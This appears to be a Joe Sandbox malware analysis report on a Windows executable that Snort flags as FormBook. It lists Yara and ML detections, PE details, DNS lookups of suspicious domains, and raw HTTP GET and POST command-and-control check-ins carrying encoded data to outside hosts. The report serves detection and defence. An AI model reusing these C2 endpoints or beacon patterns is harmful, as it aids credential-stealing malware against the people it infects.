Windows Analysis Report
Inquiry PR#27957.bat.exe

AI detected suspicious sample

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Inquiry PR#27957.bat.exe

Joe Sandbox ML: detected

Source: Inquiry PR#27957.bat.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Inquiry PR#27957.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: TsdBVAGjsKVoi.exe, 00000010.00000002.3785830920.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710209897.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3785833047.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000009.00000002.1646176772.00000000015F0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1646138502.0000000002E57000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1654535564.000000000300D000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.000000000335E000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1856891406.000000000325A000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1864671639.0000000003400000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.000000000374E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000009.00000002.1646176772.00000000015F0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1646138502.0000000002E57000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1654535564.000000000300D000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.000000000335E000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1856891406.000000000325A000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1864671639.0000000003400000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.000000000374E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: RegSvcs.exe, 00000009.00000002.1645624396.0000000001198000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.1856939303.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000003.1875454524.000000000164B000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000002.3787189728.00000000008B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdbGCTL source: RegSvcs.exe, 00000009.00000002.1645624396.0000000001198000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.1856939303.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000003.1875454524.000000000164B000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000002.3787189728.00000000008B7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_07348729
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_073486A0
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_0734875D
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_07348C51
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_07348A73
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_07348906
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 4x nop then jmp 073490EEh	0_2_0734884E
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917890
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917919
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917E41
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917C67
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917AF6
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_06917A3E
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 4x nop then jmp 069182DEh	10_2_0691794D

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49715 -> 142.250.185.211:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49716 -> 103.42.108.46:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49717 -> 103.42.108.46:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49719 -> 103.42.108.46:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49720 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49721 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49723 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49724 -> 134.122.138.60:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49725 -> 134.122.138.60:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49727 -> 134.122.138.60:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49728 -> 35.212.86.52:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49729 -> 35.212.86.52:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49731 -> 35.212.86.52:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49732 -> 188.114.97.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49733 -> 188.114.97.3:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49735 -> 188.114.97.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49736 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49737 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49739 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49740 -> 154.12.34.252:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49741 -> 154.12.34.252:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49743 -> 154.12.34.252:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49744 -> 162.254.38.56:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49745 -> 162.254.38.56:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49747 -> 162.254.38.56:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49748 -> 5.252.229.221:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49749 -> 5.252.229.221:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49751 -> 5.252.229.221:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49752 -> 142.250.185.147:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49753 -> 142.250.185.147:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49755 -> 142.250.185.147:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49756 -> 185.181.104.242:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49757 -> 185.181.104.242:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49759 -> 185.181.104.242:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49760 -> 38.145.202.186:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49761 -> 38.145.202.186:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49763 -> 38.145.202.186:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49764 -> 94.130.217.114:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49765 -> 94.130.217.114:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49767 -> 94.130.217.114:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49768 -> 84.32.84.32:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49769 -> 84.32.84.32:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49771 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.u9games.xyz
Source:	DNS query: www.globaltrend.xyz
Source:	DNS query: www.ffi07s.xyz
Source:	DNS query: www.j51a.xyz
Source:	DNS query: www.j51a.xyz

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: LHPL LHPL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SYNERGYWHOLESALE-APSYNERGYWHOLESALEPTYLTDAU SYNERGYWHOLESALE-APSYNERGYWHOLESALEPTYLTDAU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5+Meub8zzKE0bi08FFPHLb+gDk5IVms6Q4x1dlGioX/f7BYVBQYq1+WtKZplIRrH9tE8oduNyVeBv0iNKG92SjPfl0JtCvCvw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.u9games.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /la5g/?lv-=1PPV6OmQtv6ujzxmde6xwEMvtAHXmjw0ET0xU8GpAjXY4BrLKK8c6E8QLqBoUjQmvUIqtY3TT4ZQ1NARuPdgqw8nEMVyZqzJ1NN5IW2O5lnTqqMxQQ==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.dtalengineering.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /mnr7/?GJtTF=-FH8yJw&lv-=pvT+HB9YRKI+POQx0b/M/ubgxhqpaEX2BZjJkbsJzaX5mdbcin6Kt2D9XOjpJuvlAq8EfVvHU99Z+IER5VLxqOSodO53aJITzDoCBcybRFuSCV6gKg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.alphacentura.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs+xzFf261ivHj6HGHsVKs3oxX4EX17CbJWppp6g6A8fr9hGSE2paVCFK8/RlnoJvqmanf4TUTsYPUhTHcRSC+WQ==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.xn72dkd7scx.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /s992/?GJtTF=-FH8yJw&lv-=bPW5wL+6+Zn0FmJaaGSlZRyF0EkywNPIdxoHB7misPGpWoJmvT99WPeeVFPeE+QW7lFzZIe3p3wvC9c3tru/to3skHw9ZCkuDTXhooUuE0PnQLiimQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.dynamologistics.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /srh8/?lv-=IQYINTaWkaojOw8AeeCEPfEIeYkq+BJ0MxZ2KDKAvD89Td2DcEp1Lez+9d6wDeiGuMtHeyxXV+kcq5RzRjH8Tl/MEdpNR0v4ePERtHY07mFLqmHNNg==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.globaltrend.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /y7ar/?lv-=MrLs2OZQS9tqlK4Srgs+GAHAbHC9a9uyqM6nyvTx+aYY18R7NjkvoreXBqubaQ9RYarkm74io0l/Sb1qLPuR8/YoVsWf93Za6ivLQbcIgoRaZNPJDw==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.ffi07s.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /y0md/?lv-=lhYFzH0o7AOzoOxHjW4ZhXPez5XkAFEXcnJkHRBG9JNzObhY0gQYyKrA4KXJDxiKggydmH3cVTSej7Njru8XjftXonC7MPI4x3rx8vtk99+YtwuNug==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.j51a.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /soqq/?GJtTF=-FH8yJw&lv-=drOPoC+fcqVNsUc6VHZGLsfUz53xK80s09TfdoGgIRC+cuJysSYyQ9s+Q6Hx730bczsRaNUrXI+2DBjO7h7kx7woR32YUW8PWQ95aiNipO8bO2C7yA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.dospole.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /3ooi/?lv-=1LFRRoLbVcSYXTZ6XdBa3kkSOtIcXt0xuK7G7zAfyuAyg5iI4oE5vIWxJ/ECDOK7eTrBqgzuJv49CznNGJBB0jFuKD1kyeaZBLZ0jvvkrC/dFa2PYg==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.tp-consulting.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /93w6/?lv-=V/q1FcXKAyKh7SGyOejAnJ1gdaJ4XypCrXBTkGu72NAGD53UqF3q83lE5VJRfawQqtKzEaQzvnU+DANXYfAkHXtawOjKvPvgjxfsrSG69BVdxcUkzQ==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.lexpaidshares.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /br0f/?lv-=ugi+9bpxNAaZR8wICrxq2eMEzwxItzjvBeZsufXo3FfvAETDHi1JbXCTNdvb4BDU5HS2z+wM6O9UukgZHdIpmHivweVWPh9LzIjwD/7QkR1e8x0qwg==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.viertage.workConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /roex/?lv-=47/hzVl8DcmSvoQ5q5p0wIxjDl6sc/p2osL1e58noL7mmdwCeRUqiv3Sczuo1RIrkshpBASuVUC/h9VDFMrIc6PlwYO66SdA0FrSeVnyMCMUxRe8Kg==&GJtTF=-FH8yJw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.9988566a4.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Source: global traffic	DNS traffic detected: DNS query: www.u9games.xyz
Source: global traffic	DNS traffic detected: DNS query: www.dtalengineering.com
Source: global traffic	DNS traffic detected: DNS query: www.alphacentura.com
Source: global traffic	DNS traffic detected: DNS query: www.xn72dkd7scx.shop
Source: global traffic	DNS traffic detected: DNS query: www.dynamologistics.net
Source: global traffic	DNS traffic detected: DNS query: www.globaltrend.xyz
Source: global traffic	DNS traffic detected: DNS query: www.ffi07s.xyz
Source: global traffic	DNS traffic detected: DNS query: www.j51a.xyz
Source: global traffic	DNS traffic detected: DNS query: www.dospole.top
Source: global traffic	DNS traffic detected: DNS query: www.tp-consulting.net
Source: global traffic	DNS traffic detected: DNS query: www.lexpaidshares.online
Source: global traffic	DNS traffic detected: DNS query: www.viertage.work
Source: global traffic	DNS traffic detected: DNS query: www.9988566a4.shop
Source: global traffic	DNS traffic detected: DNS query: www.rightol.net
Source: global traffic	DNS traffic detected: DNS query: www.wegamovies.online

Source: unknown

HTTP traffic detected: POST /la5g/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateHost: www.dtalengineering.comContent-Length: 192Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: max-age=0Origin: http://www.dtalengineering.comReferer: http://www.dtalengineering.com/la5g/User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Data Raw: 6c 76 2d 3d 34 4e 6e 31 35 37 71 4b 6a 73 58 34 78 6b 39 2b 53 72 53 75 73 45 56 74 6f 42 54 31 6a 42 51 72 47 6a 38 45 51 59 53 66 56 67 33 61 67 79 76 6c 43 4f 70 63 69 31 77 78 45 72 74 56 61 77 55 6e 35 58 30 63 71 62 71 39 48 5a 78 77 2f 74 46 53 6f 59 74 49 73 43 67 64 4e 73 35 4f 66 49 2f 50 6c 2b 42 30 41 46 75 4e 79 33 72 5a 6e 64 6b 52 45 6b 42 48 32 55 51 49 59 78 78 74 38 53 2f 76 43 65 6a 6b 44 75 66 79 54 36 58 61 75 5a 69 41 73 67 70 75 57 70 50 31 6d 4b 68 36 41 30 6c 47 4f 34 58 74 4f 50 32 78 37 47 34 78 59 38 59 7a 70 51 30 62 7a 5a 39 4b 70 42 53 4f Data Ascii: lv-=4Nn157qKjsX4xk9+SrSusEVtoBT1jBQrGj8EQYSfVg3agyvlCOpci1wxErtVawUn5X0cqbq9HZxw/tFSoYtIsCgdNs5OfI/Pl+B0AFuNy3rZndkREkBH2UQIYxxt8S/vCejkDufyT6XauZiAsgpuWpP1mKh6A0lGO4XtOP2x7G4xY8YzpQ0bzZ9KpBSO

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 09 Jul 2024 10:09:17 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd-Modphp: 1Host-Header: 8441280b0c35cbc1147f8ba998a563a7X-Proxy-Cache-Info: DT:1Content-Encoding: gzipData Raw: 34 62 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 5b 73 1c b7 9a e4 fb f9 15 bd 9c d8 38 7b e9 6e d5 ad eb a2 23 79 d7 e3 99 89 f3 40 cf ec 2d bc b1 7e 71 b4 c8 96 c8 3d 2d 52 26 29 c9 3e 13 f3 df 37 3f 7c 99 a8 2a 14 d9 0d 3b 66 f7 69 ed 10 9b ec 2c 7c 89 02 32 01 14 50 85 7a f3 6f fe ee 9f be fb 1f ff eb bf fc fd ea e6 e9 e3 f1 9b 3f bc b1 8f d5 71 7f f7 e1 ed c5 e1 ee c2 be 38 ec af bf f9 c3 0a ff bd f9 78 78 da af ae 6e f6 0f 8f 87 a7 b7 17 9f 9f de 6f fa 8b d5 ab 29 78 b7 ff 78 78 